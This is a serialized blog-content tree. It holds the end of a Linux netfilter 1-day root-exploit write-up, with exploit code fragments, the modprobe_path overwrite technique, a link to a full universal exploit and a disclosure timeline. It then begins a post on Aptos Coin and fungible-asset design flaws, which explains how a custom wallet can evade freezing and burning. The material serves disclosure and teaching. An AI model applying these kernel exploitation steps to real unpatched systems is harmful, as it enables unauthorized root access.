i",{"type":24,"tag":158,"props":61885,"children":61886},{"style":222},[61887],{"type":29,"value":52541},{"type":24,"tag":158,"props":61889,"children":61890},{"style":188},[61891],{"type":29,"value":2125},{"type":24,"tag":158,"props":61893,"children":61894},{"class":160,"line":24990},[61895],{"type":24,"tag":158,"props":61896,"children":61897},{"style":188},[61898],{"type":29,"value":32920},{"type":24,"tag":158,"props":61900,"children":61901},{"class":160,"line":25023},[61902,61906,61910,61915,61919,61924,61929,61933,61938,61942,61946,61951,61955,61959,61963],{"type":24,"tag":158,"props":61903,"children":61904},{"style":1914},[61905],{"type":29,"value":60074},{"type":24,"tag":158,"props":61907,"children":61908},{"style":188},[61909],{"type":29,"value":2262},{"type":24,"tag":158,"props":61911,"children":61912},{"style":496},[61913],{"type":29,"value":61914},"read",{"type":24,"tag":158,"props":61916,"children":61917},{"style":188},[61918],{"type":29,"value":504},{"type":24,"tag":158,"props":61920,"children":61921},{"style":177},[61922],{"type":29,"value":61923},"sock",{"type":24,"tag":158,"props":61925,"children":61926},{"style":188},[61927],{"type":29,"value":61928},"[i][",{"type":24,"tag":158,"props":61930,"children":61931},{"style":465},[61932],{"type":29,"value":5672},{"type":24,"tag":158,"props":61934,"children":61935},{"style":188},[61936],{"type":29,"value":61937},"], leak, ",{"type":24,"tag":158,"props":61939,"children":61940},{"style":465},[61941],{"type":29,"value":59421},{"type":24,"tag":158,"props":61943,"children":61944},{"style":222},[61945],{"type":29,"value":52527},{"type":24,"tag":158,"props":61947,"children":61948},{"style":465},[61949],{"type":29,"value":61950}," 320",{"type":24,"tag":158,"props":61952,"children":61953},{"style":188},[61954],{"type":29,"value":723},{"type":24,"tag":158,"props":61956,"children":61957},{"style":222},[61958],{"type":29,"value":3760},{"type":24,"tag":158,"props":61960,"children":61961},{"style":465},[61962],{"type":29,"value":2025},{"type":24,"tag":158,"props":61964,"children":61965},{"style":188},[61966],{"type":29,"value":2125},{"type":24,"tag":158,"props":61968,"children":61969},{"class":160,"line":25031},[61970],{"type":24,"tag":158,"props":61971,"children":61972},{"style":188},[61973],{"type":29,"value":32956},{"type":24,"tag":158,"props":61975,"children":61976},{"class":160,"line":25039},[61977,61982,61986,61991],{"type":24,"tag":158,"props":61978,"children":61979},{"style":496},[61980],{"type":29,"value":61981}," perror",{"type":24,"tag":158,"props":61983,"children":61984},{"style":188},[61985],{"type":29,"value":504},{"type":24,"tag":158,"props":61987,"children":61988},{"style":1108},[61989],{"type":29,"value":61990},"\"[-] read(socket)\"",{"type":24,"tag":158,"props":61992,"children":61993},{"style":188},[61994],{"type":29,"value":1071},{"type":24,"tag":158,"props":61996,"children":61997},{"class":160,"line":25076},[61998,62003,62007,62011],{"type":24,"tag":158,"props":61999,"children":62000},{"style":1914},[62001],{"type":29,"value":62002}," return",{"type":24,"tag":158,"props":62004,"children":62005},{"style":222},[62006],{"type":29,"value":52527},{"type":24,"tag":158,"props":62008,"children":62009},{"style":465},[62010],{"type":29,"value":5672},{"type":24,"tag":158,"props":62012,"children":62013},{"style":188},[62014],{"type":29,"value":473},{"type":24,"tag":158,"props":62016,"children":62017},{"class":160,"line":25089},[62018],{"type":24,"tag":158,"props":62019,"children":62020},{"style":188},[62021],{"type":29,"value":60158},{"type":24,"tag":158,"props":62023,"children":62024},{"class":160,"line":25102},[62025],{"type":24,"tag":158,"props":62026,"children":62027},{"style":188},[62028],{"type":29,"value":5010},{"type":24,"tag":158,"props":62030,"children":62031},{"class":160,"line":25115},[62032],{"type":24,"tag":158,"props":62033,"children":62034},{"style":188},[62035],{"type":29,"value":3967},{"type":24,"tag":158,"props":62037,"children":62038},{"class":160,"line":25169},[62039,62043,62047,62052],{"type":24,"tag":158,"props":62040,"children":62041},{"style":496},[62042],{"type":29,"value":56779},{"type":24,"tag":158,"props":62044,"children":62045},{"style":188},[62046],{"type":29,"value":504},{"type":24,"tag":158,"props":62048,"children":62049},{"style":1108},[62050],{"type":29,"value":62051},"\"[-] fake modprobe failed\"",{"type":24,"tag":158,"props":62053,"children":62054},{"style":188},[62055],{"type":29,"value":1071},{"type":24,"tag":158,"props":62057,"children":62058},{"class":160,"line":25178},[62059],{"type":24,"tag":158,"props":62060,"children":62061},{"style":188},[62062],{"type":29,"value":1136},{"type":24,"tag":25,"props":62064,"children":62065},{},[62066,62068,62075],{"type":29,"value":62067},"This trick has already been throughly detailed by ",{"type":24,"tag":101,"props":62069,"children":62072},{"href":62070,"rel":62071},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[105],[62073],{"type":29,"value":62074},"lau",{"type":29,"value":62076},", so we won't go much more into it.",{"type":24,"tag":395,"props":62078,"children":62080},{"id":62079},"universal-exploit-demo",[62081],{"type":29,"value":62082},"Universal exploit demo",{"type":24,"tag":25,"props":62084,"children":62085},{},[62086,62088,62094],{"type":29,"value":62087},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":24,"tag":101,"props":62089,"children":62092},{"href":62090,"rel":62091},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[105],[62093],{"type":29,"value":58688},{"type":29,"value":347},{"type":24,"tag":59,"props":62096,"children":62098},{"id":62097},"disclosure-timeline",[62099],{"type":29,"value":62100},"Disclosure Timeline",{"type":24,"tag":17924,"props":62102,"children":62103},{},[62104,62109,62114,62119,62124],{"type":24,"tag":1790,"props":62105,"children":62106},{},[62107],{"type":29,"value":62108},"March 21st -- Patch made public",{"type":24,"tag":1790,"props":62110,"children":62111},{},[62112],{"type":29,"value":62113},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":24,"tag":1790,"props":62115,"children":62116},{},[62117],{"type":29,"value":62118},"March 24th -- Wrote KernelCTF exploit",{"type":24,"tag":1790,"props":62120,"children":62121},{},[62122],{"type":29,"value":62123},"March 26th -- Wrote Universal exploit",{"type":24,"tag":1790,"props":62125,"children":62126},{},[62127],{"type":29,"value":62128},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":24,"tag":25,"props":62130,"children":62131},{},[62132],{"type":29,"value":62133},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":24,"tag":59,"props":62135,"children":62136},{"id":30191},[62137],{"type":29,"value":20189},{"type":24,"tag":25,"props":62139,"children":62140},{},[62141],{"type":29,"value":62142},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":24,"tag":25,"props":62144,"children":62145},{},[62146],{"type":29,"value":62147},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":24,"tag":4517,"props":62149,"children":62150},{},[62151],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":62153},[62154,62157,62160,62163,62164,62174,62182,62183],{"id":51839,"depth":213,"text":51842,"children":62155},[62156],{"id":51860,"depth":238,"text":51863},{"id":51903,"depth":213,"text":51903,"children":62158},[62159],{"id":51950,"depth":238,"text":51953},{"id":52008,"depth":213,"text":52011,"children":62161},[62162],{"id":53171,"depth":238,"text":53174},{"id":55046,"depth":213,"text":55049},{"id":55448,"depth":213,"text":55451,"children":62165},[62166,62167,62168,62170,62171,62172,62173],{"id":55475,"depth":238,"text":55478},{"id":56357,"depth":238,"text":56360},{"id":56943,"depth":238,"text":62169},"Leaking self pointer of nft_object",{"id":57341,"depth":238,"text":57344},{"id":57855,"depth":238,"text":57858},{"id":57985,"depth":238,"text":57642},{"id":58669,"depth":238,"text":58672},{"id":58692,"depth":213,"text":58695,"children":62175},[62176,62177,62178,62179,62181],{"id":58703,"depth":238,"text":58706},{"id":59561,"depth":238,"text":59564},{"id":59637,"depth":238,"text":59640},{"id":61262,"depth":238,"text":62180},"Overwriting modprobe_path",{"id":62079,"depth":238,"text":62082},{"id":62097,"depth":213,"text":62100},{"id":30191,"depth":213,"text":20189},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":62188,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":62189,"description":62190,"image":62191,"date":62193,"isFeatured":16,"onBlogPage":16,"tags":62194,"body":62195,"_type":4536,"_id":68913,"_source":4538,"_file":68914,"_stem":68915,"_extension":4541},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":62192,"width":7040,"height":7041},"/posts/aptos-guide/title.png","2025-02-10",[7530],{"type":21,"children":62196,"toc":68897},[62197,62210,62215,62224,62230,62258,62331,62371,62405,62566,62585,62666,62706,62734,62751,62756,62764,62769,62775,62796,62876,62909,62917,62930,62935,63319,63324,63329,63335,63340,63352,63456,63494,63497,63515,63823,63828,63840,63846,63872,63893,63898,64077,64097,64103,64123,64135,64140,64146,64158,64221,64248,64272,64493,64496,64515,64625,64682,64818,64845,64851,64877,65121,65149,65451,65484,65498,65524,65557,65864,65876,66153,66167,66484,66503,66509,66541,66581,66682,66702,66822,66839,66913,66925,67013,67034,67040,67045,67050,67067,67088,67459,67518,67523,67974,67979,68015,68021,68033,68055,68081,68288,68302,68557,68569,68596,68747,68766,68796,68800,68811,68816,68829,68893],{"type":24,"tag":25,"props":62198,"children":62199},{},[62200,62202,62208],{"type":29,"value":62201},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":24,"tag":154,"props":62203,"children":62205},{"className":62204},[],[62206],{"type":29,"value":62207},"coin",{"type":29,"value":62209}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":24,"tag":25,"props":62211,"children":62212},{},[62213],{"type":29,"value":62214},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":24,"tag":62216,"props":62217,"children":62218},"important",{},[62219],{"type":24,"tag":25,"props":62220,"children":62221},{},[62222],{"type":29,"value":62223},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":24,"tag":59,"props":62225,"children":62227},{"id":62226},"aptos-coin-standard",[62228],{"type":29,"value":62229},"Aptos Coin standard",{"type":24,"tag":25,"props":62231,"children":62232},{},[62233,62235,62241,62243,62248,62249,62256],{"type":29,"value":62234},"In the beginning, Aptos used ",{"type":24,"tag":154,"props":62236,"children":62238},{"className":62237},[],[62239],{"type":29,"value":62240},"Coin",{"type":29,"value":62242},". It is still in use, although it is now considered \"legacy\". ",{"type":24,"tag":154,"props":62244,"children":62246},{"className":62245},[],[62247],{"type":29,"value":62240},{"type":29,"value":816},{"type":24,"tag":101,"props":62250,"children":62253},{"href":62251,"rel":62252},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[105],[62254],{"type":29,"value":62255},"defined",{"type":29,"value":62257}," in Aptos as follows:",{"type":24,"tag":147,"props":62259,"children":62261},{"className":151,"code":62260,"language":150,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n",[62262],{"type":24,"tag":154,"props":62263,"children":62264},{"__ignoreMap":7},[62265,62304,62324],{"type":24,"tag":158,"props":62266,"children":62267},{"class":160,"line":161},[62268,62272,62276,62280,62284,62288,62292,62296,62300],{"type":24,"tag":158,"props":62269,"children":62270},{"style":165},[62271],{"type":29,"value":168},{"type":24,"tag":158,"props":62273,"children":62274},{"style":171},[62275],{"type":29,"value":7454},{"type":24,"tag":158,"props":62277,"children":62278},{"style":188},[62279],{"type":29,"value":3760},{"type":24,"tag":158,"props":62281,"children":62282},{"style":177},[62283],{"type":29,"value":7463},{"type":24,"tag":158,"props":62285,"children":62286},{"style":171},[62287],{"type":29,"value":7468},{"type":24,"tag":158,"props":62289,"children":62290},{"style":188},[62291],{"type":29,"value":7473},{"type":24,"tag":158,"props":62293,"children":62294},{"style":177},[62295],{"type":29,"value":7478},{"type":24,"tag":158,"props":62297,"children":62298},{"style":177},[62299],{"type":29,"value":7483},{"type":24,"tag":158,"props":62301,"children":62302},{"style":188},[62303],{"type":29,"value":210},{"type":24,"tag":158,"props":62305,"children":62306},{"class":160,"line":213},[62307,62312,62316,62320],{"type":24,"tag":158,"props":62308,"children":62309},{"style":177},[62310],{"type":29,"value":62311}," value",{"type":24,"tag":158,"props":62313,"children":62314},{"style":222},[62315],{"type":29,"value":225},{"type":24,"tag":158,"props":62317,"children":62318},{"style":171},[62319],{"type":29,"value":230},{"type":24,"tag":158,"props":62321,"children":62322},{"style":188},[62323],{"type":29,"value":235},{"type":24,"tag":158,"props":62325,"children":62326},{"class":160,"line":238},[62327],{"type":24,"tag":158,"props":62328,"children":62329},{"style":188},[62330],{"type":29,"value":307},{"type":24,"tag":25,"props":62332,"children":62333},{},[62334,62336,62341,62343,62349,62350,62356,62358,62363,62365,62370],{"type":29,"value":62335},"Aptos distinguishes coins by their type (",{"type":24,"tag":154,"props":62337,"children":62339},{"className":62338},[],[62340],{"type":29,"value":8231},{"type":29,"value":62342},") at compile time. For example, ",{"type":24,"tag":154,"props":62344,"children":62346},{"className":62345},[],[62347],{"type":29,"value":62348},"Coin\u003COtter>",{"type":29,"value":1826},{"type":24,"tag":154,"props":62351,"children":62353},{"className":62352},[],[62354],{"type":29,"value":62355},"Coin\u003CWeasel>",{"type":29,"value":62357}," represent different coins, and you cannot pass a ",{"type":24,"tag":154,"props":62359,"children":62361},{"className":62360},[],[62362],{"type":29,"value":62355},{"type":29,"value":62364}," to a function expecting ",{"type":24,"tag":154,"props":62366,"children":62368},{"className":62367},[],[62369],{"type":29,"value":62348},{"type":29,"value":347},{"type":24,"tag":25,"props":62372,"children":62373},{},[62374,62376,62381,62383,62388,62390,62395,62397,62403],{"type":29,"value":62375},"The type signature reveals why ",{"type":24,"tag":154,"props":62377,"children":62379},{"className":62378},[],[62380],{"type":29,"value":62240},{"type":29,"value":62382}," has become a legacy standard. ",{"type":24,"tag":154,"props":62384,"children":62386},{"className":62385},[],[62387],{"type":29,"value":62240},{"type":29,"value":62389}," has only the ",{"type":24,"tag":154,"props":62391,"children":62393},{"className":62392},[],[62394],{"type":29,"value":205},{"type":29,"value":62396}," ability and uses a ",{"type":24,"tag":154,"props":62398,"children":62400},{"className":62399},[],[62401],{"type":29,"value":62402},"CoinStore",{"type":29,"value":62404}," wrapper to store the coin and metadata:",{"type":24,"tag":147,"props":62406,"children":62408},{"className":151,"code":62407,"language":150,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[62409],{"type":24,"tag":154,"props":62410,"children":62411},{"__ignoreMap":7},[62412,62452,62480,62500,62530,62559],{"type":24,"tag":158,"props":62413,"children":62414},{"class":160,"line":161},[62415,62419,62424,62428,62432,62436,62440,62444,62448],{"type":24,"tag":158,"props":62416,"children":62417},{"style":165},[62418],{"type":29,"value":168},{"type":24,"tag":158,"props":62420,"children":62421},{"style":171},[62422],{"type":29,"value":62423}," CoinStore",{"type":24,"tag":158,"props":62425,"children":62426},{"style":188},[62427],{"type":29,"value":3760},{"type":24,"tag":158,"props":62429,"children":62430},{"style":177},[62431],{"type":29,"value":7463},{"type":24,"tag":158,"props":62433,"children":62434},{"style":171},[62435],{"type":29,"value":7468},{"type":24,"tag":158,"props":62437,"children":62438},{"style":188},[62439],{"type":29,"value":7473},{"type":24,"tag":158,"props":62441,"children":62442},{"style":177},[62443],{"type":29,"value":7478},{"type":24,"tag":158,"props":62445,"children":62446},{"style":177},[62447],{"type":29,"value":7582},{"type":24,"tag":158,"props":62449,"children":62450},{"style":188},[62451],{"type":29,"value":210},{"type":24,"tag":158,"props":62453,"children":62454},{"class":160,"line":213},[62455,62460,62464,62468,62472,62476],{"type":24,"tag":158,"props":62456,"children":62457},{"style":177},[62458],{"type":29,"value":62459}," coin",{"type":24,"tag":158,"props":62461,"children":62462},{"style":222},[62463],{"type":29,"value":225},{"type":24,"tag":158,"props":62465,"children":62466},{"style":171},[62467],{"type":29,"value":7454},{"type":24,"tag":158,"props":62469,"children":62470},{"style":188},[62471],{"type":29,"value":3760},{"type":24,"tag":158,"props":62473,"children":62474},{"style":171},[62475],{"type":29,"value":8231},{"type":24,"tag":158,"props":62477,"children":62478},{"style":188},[62479],{"type":29,"value":7788},{"type":24,"tag":158,"props":62481,"children":62482},{"class":160,"line":238},[62483,62488,62492,62496],{"type":24,"tag":158,"props":62484,"children":62485},{"style":177},[62486],{"type":29,"value":62487}," frozen",{"type":24,"tag":158,"props":62489,"children":62490},{"style":222},[62491],{"type":29,"value":225},{"type":24,"tag":158,"props":62493,"children":62494},{"style":171},[62495],{"type":29,"value":2928},{"type":24,"tag":158,"props":62497,"children":62498},{"style":188},[62499],{"type":29,"value":235},{"type":24,"tag":158,"props":62501,"children":62502},{"class":160,"line":259},[62503,62508,62512,62517,62521,62526],{"type":24,"tag":158,"props":62504,"children":62505},{"style":177},[62506],{"type":29,"value":62507}," deposit_events",{"type":24,"tag":158,"props":62509,"children":62510},{"style":222},[62511],{"type":29,"value":225},{"type":24,"tag":158,"props":62513,"children":62514},{"style":171},[62515],{"type":29,"value":62516}," EventHandle",{"type":24,"tag":158,"props":62518,"children":62519},{"style":188},[62520],{"type":29,"value":3760},{"type":24,"tag":158,"props":62522,"children":62523},{"style":171},[62524],{"type":29,"value":62525},"DepositEvent",{"type":24,"tag":158,"props":62527,"children":62528},{"style":188},[62529],{"type":29,"value":7788},{"type":24,"tag":158,"props":62531,"children":62532},{"class":160,"line":280},[62533,62538,62542,62546,62550,62555],{"type":24,"tag":158,"props":62534,"children":62535},{"style":177},[62536],{"type":29,"value":62537}," withdraw_events",{"type":24,"tag":158,"props":62539,"children":62540},{"style":222},[62541],{"type":29,"value":225},{"type":24,"tag":158,"props":62543,"children":62544},{"style":171},[62545],{"type":29,"value":62516},{"type":24,"tag":158,"props":62547,"children":62548},{"style":188},[62549],{"type":29,"value":3760},{"type":24,"tag":158,"props":62551,"children":62552},{"style":171},[62553],{"type":29,"value":62554},"WithdrawEvent",{"type":24,"tag":158,"props":62556,"children":62557},{"style":188},[62558],{"type":29,"value":7788},{"type":24,"tag":158,"props":62560,"children":62561},{"class":160,"line":301},[62562],{"type":24,"tag":158,"props":62563,"children":62564},{"style":188},[62565],{"type":29,"value":307},{"type":24,"tag":25,"props":62567,"children":62568},{},[62569,62571,62576,62578,62583],{"type":29,"value":62570},"However, an astute reader would note that this isn't the only place a ",{"type":24,"tag":154,"props":62572,"children":62574},{"className":62573},[],[62575],{"type":29,"value":62240},{"type":29,"value":62577}," can be stored. You can create your own ",{"type":24,"tag":154,"props":62579,"children":62581},{"className":62580},[],[62582],{"type":29,"value":62240},{"type":29,"value":62584}," wallet, which could look like this:",{"type":24,"tag":147,"props":62586,"children":62588},{"className":151,"code":62587,"language":150,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[62589],{"type":24,"tag":154,"props":62590,"children":62591},{"__ignoreMap":7},[62592,62632,62659],{"type":24,"tag":158,"props":62593,"children":62594},{"class":160,"line":161},[62595,62599,62604,62608,62612,62616,62620,62624,62628],{"type":24,"tag":158,"props":62596,"children":62597},{"style":165},[62598],{"type":29,"value":168},{"type":24,"tag":158,"props":62600,"children":62601},{"style":171},[62602],{"type":29,"value":62603}," DefinitelyLegitCoinStore",{"type":24,"tag":158,"props":62605,"children":62606},{"style":188},[62607],{"type":29,"value":3760},{"type":24,"tag":158,"props":62609,"children":62610},{"style":177},[62611],{"type":29,"value":7463},{"type":24,"tag":158,"props":62613,"children":62614},{"style":171},[62615],{"type":29,"value":7468},{"type":24,"tag":158,"props":62617,"children":62618},{"style":188},[62619],{"type":29,"value":7473},{"type":24,"tag":158,"props":62621,"children":62622},{"style":177},[62623],{"type":29,"value":7478},{"type":24,"tag":158,"props":62625,"children":62626},{"style":177},[62627],{"type":29,"value":7582},{"type":24,"tag":158,"props":62629,"children":62630},{"style":188},[62631],{"type":29,"value":210},{"type":24,"tag":158,"props":62633,"children":62634},{"class":160,"line":213},[62635,62639,62643,62647,62651,62655],{"type":24,"tag":158,"props":62636,"children":62637},{"style":177},[62638],{"type":29,"value":62459},{"type":24,"tag":158,"props":62640,"children":62641},{"style":222},[62642],{"type":29,"value":225},{"type":24,"tag":158,"props":62644,"children":62645},{"style":171},[62646],{"type":29,"value":7454},{"type":24,"tag":158,"props":62648,"children":62649},{"style":188},[62650],{"type":29,"value":3760},{"type":24,"tag":158,"props":62652,"children":62653},{"style":171},[62654],{"type":29,"value":8231},{"type":24,"tag":158,"props":62656,"children":62657},{"style":188},[62658],{"type":29,"value":7642},{"type":24,"tag":158,"props":62660,"children":62661},{"class":160,"line":238},[62662],{"type":24,"tag":158,"props":62663,"children":62664},{"style":188},[62665],{"type":29,"value":307},{"type":24,"tag":25,"props":62667,"children":62668},{},[62669,62674,62676,62682,62684,62689,62691,62697,62699,62704],{"type":24,"tag":154,"props":62670,"children":62672},{"className":62671},[],[62673],{"type":29,"value":62402},{"type":29,"value":62675}," includes a ",{"type":24,"tag":154,"props":62677,"children":62679},{"className":62678},[],[62680],{"type":29,"value":62681},"frozen",{"type":29,"value":62683}," field, allowing the issuer to block transfers to and from the store. ",{"type":24,"tag":154,"props":62685,"children":62687},{"className":62686},[],[62688],{"type":29,"value":62402},{"type":29,"value":62690}," is also required for a ",{"type":24,"tag":154,"props":62692,"children":62694},{"className":62693},[],[62695],{"type":29,"value":62696},"burn_from",{"type":29,"value":62698}," operation, which withdraws the ",{"type":24,"tag":154,"props":62700,"children":62702},{"className":62701},[],[62703],{"type":29,"value":62207},{"type":29,"value":62705}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":24,"tag":25,"props":62707,"children":62708},{},[62709,62711,62716,62718,62725,62727,62732],{"type":29,"value":62710},"Storing ",{"type":24,"tag":154,"props":62712,"children":62714},{"className":62713},[],[62715],{"type":29,"value":62207},{"type":29,"value":62717}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":24,"tag":101,"props":62719,"children":62722},{"href":62720,"rel":62721},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[105],[62723],{"type":29,"value":62724},"AIP-21",{"type":29,"value":62726}," summarizes the ",{"type":24,"tag":154,"props":62728,"children":62730},{"className":62729},[],[62731],{"type":29,"value":62207},{"type":29,"value":62733}," problems:",{"type":24,"tag":4606,"props":62735,"children":62736},{},[62737,62746],{"type":24,"tag":25,"props":62738,"children":62739},{},[62740,62744],{"type":24,"tag":158,"props":62741,"children":62742},{},[62743],{"type":29,"value":377},{"type":29,"value":62745}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":24,"tag":25,"props":62747,"children":62748},{},[62749],{"type":29,"value":62750},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":24,"tag":25,"props":62752,"children":62753},{},[62754],{"type":29,"value":62755},"And declares, that:",{"type":24,"tag":4606,"props":62757,"children":62758},{},[62759],{"type":24,"tag":25,"props":62760,"children":62761},{},[62762],{"type":29,"value":62763},"Fungible assets addresses these issues.",{"type":24,"tag":25,"props":62765,"children":62766},{},[62767],{"type":29,"value":62768},"Let's find out whether this is indeed the case.",{"type":24,"tag":59,"props":62770,"children":62772},{"id":62771},"the-fungible-assets",[62773],{"type":29,"value":62774},"The fungible assets",{"type":24,"tag":25,"props":62776,"children":62777},{},[62778,62780,62786,62788,62795],{"type":29,"value":62779},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":24,"tag":154,"props":62781,"children":62783},{"className":62782},[],[62784],{"type":29,"value":62785},"FungibleAsset",{"type":29,"value":62787}," uses the ",{"type":24,"tag":101,"props":62789,"children":62792},{"href":62790,"rel":62791},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[105],[62793],{"type":29,"value":62794},"hot-potato pattern",{"type":29,"value":225},{"type":24,"tag":147,"props":62797,"children":62799},{"className":151,"code":62798,"language":150,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[62800],{"type":24,"tag":154,"props":62801,"children":62802},{"__ignoreMap":7},[62803,62819,62849,62869],{"type":24,"tag":158,"props":62804,"children":62805},{"class":160,"line":161},[62806,62810,62815],{"type":24,"tag":158,"props":62807,"children":62808},{"style":165},[62809],{"type":29,"value":168},{"type":24,"tag":158,"props":62811,"children":62812},{"style":171},[62813],{"type":29,"value":62814}," FungibleAsset",{"type":24,"tag":158,"props":62816,"children":62817},{"style":188},[62818],{"type":29,"value":210},{"type":24,"tag":158,"props":62820,"children":62821},{"class":160,"line":213},[62822,62827,62831,62836,62840,62845],{"type":24,"tag":158,"props":62823,"children":62824},{"style":177},[62825],{"type":29,"value":62826}," metadata",{"type":24,"tag":158,"props":62828,"children":62829},{"style":222},[62830],{"type":29,"value":225},{"type":24,"tag":158,"props":62832,"children":62833},{"style":171},[62834],{"type":29,"value":62835}," Object",{"type":24,"tag":158,"props":62837,"children":62838},{"style":188},[62839],{"type":29,"value":3760},{"type":24,"tag":158,"props":62841,"children":62842},{"style":171},[62843],{"type":29,"value":62844},"Metadata",{"type":24,"tag":158,"props":62846,"children":62847},{"style":188},[62848],{"type":29,"value":7788},{"type":24,"tag":158,"props":62850,"children":62851},{"class":160,"line":238},[62852,62857,62861,62865],{"type":24,"tag":158,"props":62853,"children":62854},{"style":177},[62855],{"type":29,"value":62856}," amount",{"type":24,"tag":158,"props":62858,"children":62859},{"style":222},[62860],{"type":29,"value":225},{"type":24,"tag":158,"props":62862,"children":62863},{"style":171},[62864],{"type":29,"value":230},{"type":24,"tag":158,"props":62866,"children":62867},{"style":188},[62868],{"type":29,"value":235},{"type":24,"tag":158,"props":62870,"children":62871},{"class":160,"line":259},[62872],{"type":24,"tag":158,"props":62873,"children":62874},{"style":188},[62875],{"type":29,"value":307},{"type":24,"tag":25,"props":62877,"children":62878},{},[62879,62881,62886,62887,62892,62894,62899,62901,62908],{"type":29,"value":62880},"Unlike ",{"type":24,"tag":154,"props":62882,"children":62884},{"className":62883},[],[62885],{"type":29,"value":62240},{"type":29,"value":191},{"type":24,"tag":154,"props":62888,"children":62890},{"className":62889},[],[62891],{"type":29,"value":62785},{"type":29,"value":62893}," types are defined at runtime through the ",{"type":24,"tag":154,"props":62895,"children":62897},{"className":62896},[],[62898],{"type":29,"value":62844},{"type":29,"value":62900}," field. This change was meant to ",{"type":24,"tag":101,"props":62902,"children":62905},{"href":62903,"rel":62904},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[105],[62906],{"type":29,"value":62907},"enhance extensibility",{"type":29,"value":225},{"type":24,"tag":4606,"props":62910,"children":62911},{},[62912],{"type":24,"tag":25,"props":62913,"children":62914},{},[62915],{"type":29,"value":62916},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":24,"tag":25,"props":62918,"children":62919},{},[62920,62922,62928],{"type":29,"value":62921},"An important implication is that functions accepting ",{"type":24,"tag":154,"props":62923,"children":62925},{"className":62924},[],[62926],{"type":29,"value":62927},"FungibleAssets",{"type":29,"value":62929}," must verify the metadata to ensure valid assets.",{"type":24,"tag":25,"props":62931,"children":62932},{},[62933],{"type":29,"value":62934},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":24,"tag":147,"props":62936,"children":62938},{"className":151,"code":62937,"language":150,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[62939],{"type":24,"tag":154,"props":62940,"children":62941},{"__ignoreMap":7},[62942,62979,63017,63041,63053,63061,63106,63140,63170,63177,63214,63221,63259,63266,63312],{"type":24,"tag":158,"props":62943,"children":62944},{"class":160,"line":161},[62945,62950,62954,62959,62963,62967,62971,62975],{"type":24,"tag":158,"props":62946,"children":62947},{"style":177},[62948],{"type":29,"value":62949},"public",{"type":24,"tag":158,"props":62951,"children":62952},{"style":177},[62953],{"type":29,"value":493},{"type":24,"tag":158,"props":62955,"children":62956},{"style":177},[62957],{"type":29,"value":62958}," 